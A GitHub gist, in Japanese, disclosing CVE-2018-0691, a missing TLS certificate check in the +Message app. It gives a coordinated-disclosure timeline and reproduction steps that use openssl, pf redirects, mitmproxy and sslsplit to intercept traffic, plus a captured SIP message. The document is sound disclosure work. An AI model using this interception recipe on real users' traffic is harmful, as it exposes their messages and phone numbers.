Skip to content

Instantly share code, notes, and snippets.

@mala

mala/CVE-2018-0691.md

Last active October 15, 2018 01:37
Show Gist options
  • Save mala/ba23a7c1356857fd8297bc7efefcd34c to your computer and use it in GitHub Desktop.
Save mala/ba23a7c1356857fd8297bc7efefcd34c to your computer and use it in GitHub Desktop.
Download ZIP
CVE-2018-0691 プラスメッセージにおける証明書検証不備について
Raw
CVE-2018-0691.md

CVE-2018-0691 プラスメッセージにおける証明書検証不備について

  • https://jvn.jp/jp/JVN37288228/

  • 平日の業務時間内に見つけた問題である関係で(自分ルールで)所属を入れていますが、他社サービスに対する調査や報告は業務とは一切関係のない個人の活動として行っています。

  • 文責はmala個人にあります。お問い合わせなどありましたら個人宛にどうぞ。TwitterのDMや任意の文字列 @ma.la

概要

2018-06-21 に脆弱性の報告を行い 2018-06-27 に修正版が公開されたプラスメッセージについて、2018-09-27 に情報開示が行われているので、経緯について書きます。

タイムライン

  • 2018-06-21 11:44 プラスメッセージのiOS版が公開されたと聞いてインストールする
  • 2018-06-21 12:54 プラスメッセージを利用開始、検証開始する
  • 2018-06-21 13:01 証明書検証不備を見つける
  • 2018-06-21 13:23 Softbank CSIRT 宛に報告 (いくつかのHTTPSの通信が少なくとも盗聴可能、電話番号が漏洩する)
  • 2018-06-21 13:51 Softbank CSIRT から返信あり
  • 2018-06-21 14:13 DOCOMO-CSIRT, KDDI-CSIRT にも報告
  • 2018-06-21 19:59 DOCOMO-CSIRT から返信あり
  • 2018-06-21 20:09 KDDI-CSIRT から返信あり
  • 2018-06-24 02:22 mala → IPAに届出
  • 2018-06-24 02:57 mala → Softbank CSIRT に SIP over TLSを利用した通信全般の盗聴が可能であることを報告 (plusmessage_vuln.txt を添付)
  • 2018-06-26 13:58 IPAより「いただいた添付ファイルの中に、届出内容や再現手順に記載のない「original_msg.eml」というファイルがございました。本問題に関係のないファイルであると認識しておりますがいかがでしょうか。」との連絡を受ける
  • 2018-06-26 15:05 IPAに各社CSIRTに送ったオリジナルの報告内容である旨を説明し original_msg.eml の拡張子をtxtにして送る
  • 2018-06-27 iOS/Android共に修正版がリリースされる
  • 2018-06-27 16:29 IPAより「届出内容を確認し、脆弱性関連情報として受理いたしました」と連絡を受ける
  • 2018-07-03 各社から 6月27日付けで修正版がリリースされたとの連絡を受ける
  • 2018-07-11 11:55 IPAより、2018-07-10を起算日としてJPCERT/CC から製品開発者へ連絡を開始したとの連絡を受ける
  • 2018-09-27 15:55 IPAより、JVNで脆弱性情報が公開されたとの連絡を受ける

IPAへの連絡について

自分が依頼したのは脆弱性情報の公表にあたっての調整であり、開発元に対する連絡は直接行っています。 IPAへの報告をきっかけにして修正されたのではありません。

調査のきっかけ

プラスメッセージに関する報道の中に "「連絡先をサーバーにアップロードしない」などの安心感を訴求するNTTドコモ スマートライフ推進部 コミュニケーションサービス担当部長の藤間良樹氏" というものがあった。

果たして、電話番号(あるいは大して意味がないが電話番号のハッシュ値など)をサーバーにアップロードすることなしに、プラスメッセージを利用しているかどうかの判別が可能なのか、気になったため、どのような通信を行っているのかを調査しようと思った。 調査した結果の結論としては、プラスメッセージを利用しているかどうかの判別は、サーバーに対して連絡先の電話番号を送信することで行っていた。

元の発言は "連絡先のデータをサーバに保存することはない" であったようだ。

影響範囲と再現手順について

別途記載。これは証明書検証不備を検証するための一般的な方法であり、特定のソフトウェアに対する攻撃やサービスへの妨害を意図したドキュメントではありません。

といったオープンソースで公開されているツールを使って検証が可能。IDとして電話番号を利用しているため、盗聴によって電話番号が漏洩します。 利用者本人の情報だけではなく、プラスメッセージの利用可否を確認するためにサーバーと通信を行うため、連絡先に登録されている電話番号も盗聴される恐れがあります。

Android版について

  • インストール可能な端末が手元になかったので、報告時点での検証は行っていません。
  • 各社からの返信及び、Google Playでのリリースノートから、同様に影響を受けたことを把握

謝辞

修正から公表まで時間はかかりましたが、脆弱性情報が開示されたことは、多くの社会的責任を伴う企業としての規範を示すものであり、大変喜ばしいことです。 複数のベンダーが関わっているため情報開示にあたっては、多くの苦労があったものと思慮いたします。関係者各位に感謝いたします。

特に最短3分で返信をくれるSoftbank CSIRTには最大限の敬意を表します。

Raw
plusmessage_vuln.md

概要

+メッセージ(プラスメッセージ) には証明書検証不備の脆弱性があります mitmproxy や sslsplit を使ってアプリケーションが行う通信の盗聴、改ざんが可能です。

再現手順

  • macOSのインターネット共有を利用して作ったWiFiアクセスポイントで盗聴する再現手順

sslsplit の設定

$ cat >x509v3ca.cnf <<'EOF'
 [ req ]
 distinguished_name = reqdn

 [ reqdn ]

 [ v3_ca ]
 basicConstraints        = CA:TRUE
 subjectKeyIdentifier    = hash
 authorityKeyIdentifier  = keyid:always,issuer:always
EOF

$ openssl genrsa -out ca.key 2048
$ openssl req -new -nodes -x509 -sha256 -out ca.crt -key ca.key \
               -config x509v3ca.cnf -extensions v3_ca \
               -subj '/O=SSLsplit Root CA/CN=SSLsplit Root CA/' \
               -set_serial 0 -days 3650

ポート転送の設定

$ sudo sysctl -w net.inet.ip.forwarding=1
$ cat >pf.conf <<'EOF'

# interfaceは必要に応じて変更する
rdr on bridge100 inet proto tcp to any port {80,443} -> 127.0.0.1 port 8080
rdr on bridge100 inet proto tcp to any port 5061 -> 127.0.0.1 port 10443

EOF

sudo pfctl -f pf.conf
sudo pfctl -e

mimtmproxy, sslsplitの起動

$ mitmproxy --mode transparent --showhost $ sudo sslsplit -D -k ca.key -c ca.crt -l connect.log -L sample.log autossl 0.0.0.0 10443

  • iPhoneからmacOS上のインターネット共有で設定したWiFiアクセスポイントに接続し、プラスメッセージアプリを起動
  • メッセージのやり取りなどを行うと解読された通信内容が記録されるのが確認できる

iOS上で sslsplit, mitmproxy で利用する認証局証明書を信頼する設定を行わず盗聴が可能なことから、 証明書検証不備があることが確認できる。(通常のブラウザでHTTPSのサイト閲覧を行うと証明書エラーが表示される)

確認できる通信内容

※ 8180XXXXXXXX の箇所は利用者の電話番号が入る

SIP over TLSの通信

2018-06-23 13:58:29 UTC [192.168.2.3]:52362 -> [221.110.247.197]:5061 (2325):
INVITE tel:+8180XXXXXXXX SIP/2.0
Via: SIP/2.0/TLS 192.168.2.3:52362;rport;branch=z9hG4bKPj454DAD59-FCD0-413E-AA07-8258850A529A
Max-Forwards: 70
From: <tel:+8180XXXXXXXX>;tag=2638F1A5-C66F-417E-BC18-8D371EC6953B
To: <tel:+8180XXXXXXXX>
Contact: <sip:[email protected]:52362;transport=TLS;ob>;+g.oma.sip-im;+g.3gpp.iari-ref="urn%3Aurn-7%3A3gpp-application.ims.iari.rcs.fthttp,urn%3Aurn-7%3A3gpp-application.ims.iari.rcs.geopush,urn%3Aurn-7%3A3gpp-application.ims.iari.rcse.im";+sip.instance="<urn:uuid:428CF804-0593-4941-809E-64A249F78623>"
Call-ID: 11480A78-9DBE-4690-83C9-37A985D33770
CSeq: 12890 INVITE
Route: <sip:221.110.247.197:5061;transport=tls;lr>
Route: <sip:192.168.48.19:5065;lr>
Allow: PRACK, INFO, INVITE, ACK, BYE, CANCEL, UPDATE, SUBSCRIBE, NOTIFY, REFER, MESSAGE, OPTIONS
Supported: replaces, 100rel, timer, norefersub
Session-Expires: 1800;refresher=uac
Min-SE: 90
Accept-Contact: *;+g.3gpp.iari-ref="urn%3Aurn-7%3A3gpp-application.ims.iari.rcs.fthttp,urn%3Aurn-7%3A3gpp-application.ims.iari.rcs.geopush,urn%3Aurn-7%3A3gpp-application.ims.iari.rcse.im";+g.oma.sip-im
Contribution-ID: 1lz32qbgPDC5BxhT9d1YihgcBdN9sxbln30c
Subject: ああああ
User-Agent: IM-client/OMA1.0 APPL/iPhone7-11.4 RCSiOS/1.1.21 COMLib/4.2.32.4
P-Preferred-Identity: <tel:+8180XXXXXXXX>
Content-Type: multipart/mixed;boundary="boundary22"
Content-Length:   942

--boundary22
Content-Type: application/sdp

v=0
o=- 3738751109 3738751109 IN IP4 192.168.2.3
s=
c=IN IP4 192.168.2.3
t=0 0
m=message 9 TCP/TLS/MSRP *
a=setup:active
a=accept-types:message/cpim application/im-iscomposing+xml
a=path:msrps://192.168.2.3:9/J59F6LTeij;tcp
a=fingerprint:SHA-1 1E:00:AC:D7:94:88:2E:CC:8F:63:86:E6:4E:55:BE:72:21:27:09:E6
a=sendrecv
a=accept-wrapped-types:application/vnd.gsma.rcs-ft-http+xml message/imdn+xml text/plain application/vnd.gsma.rcspushlocation+xml application/vendor.wit.rtl+json

--boundary22
Content-Type: message/cpim

From: <sip:[email protected]>
To: <sip:[email protected]>
DateTime: 2018-06-23T22:58:29.959+09:00
NS: imdn <urn:ietf:params:imdn>
imdn.Message-ID: dEArQzDyylRNyBjR9cVBl1RgJ6As7GNG
imdn.Disposition-Notification: positive-delivery, display

Content-Type: text/plain;charset=utf-8
Content-Length: 12

ああああ

--boundary22--

キャプチャした通信のサンプルは自身の電話番号で取得したものだが、他人とのやり取りでも送受信するメッセージが盗聴可能であることを確認した。

影響範囲

悪意のあるネットワーク上の中間者から

  • 利用者の、電話番号、及び送受信するメッセージの盗聴が可能。スタンプ、添付ファイルとして送信可能なファイルも含む。
  • メッセージのやり取りをしている相手の、電話番号、及び、プラスメッセージ上に登録したプロフィール情報が盗聴可能

HTTPSでの通信、5061ポートでの SIP over TLSでの通信、それぞれにおいてユーザーの識別子として電話番号が使われているため、どのような操作であっても電話番号は漏洩する

備考

一部の通信については証明書検証処理が存在しているようでした

  • メッセージのバックアップに関わる通信など

ソフトバンク回線で作成したユーザーで検証を行いました。利用している携帯キャリアによって接続サーバーが異なるようです。 証明書検証はクライアントサイドの処理であり、接続先サーバーについては利用回線によって異なるようですが、 携帯キャリアによって内部処理が大幅に異なるなどの事情がなければ、どの回線を使っていても影響を受けると思われます。

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment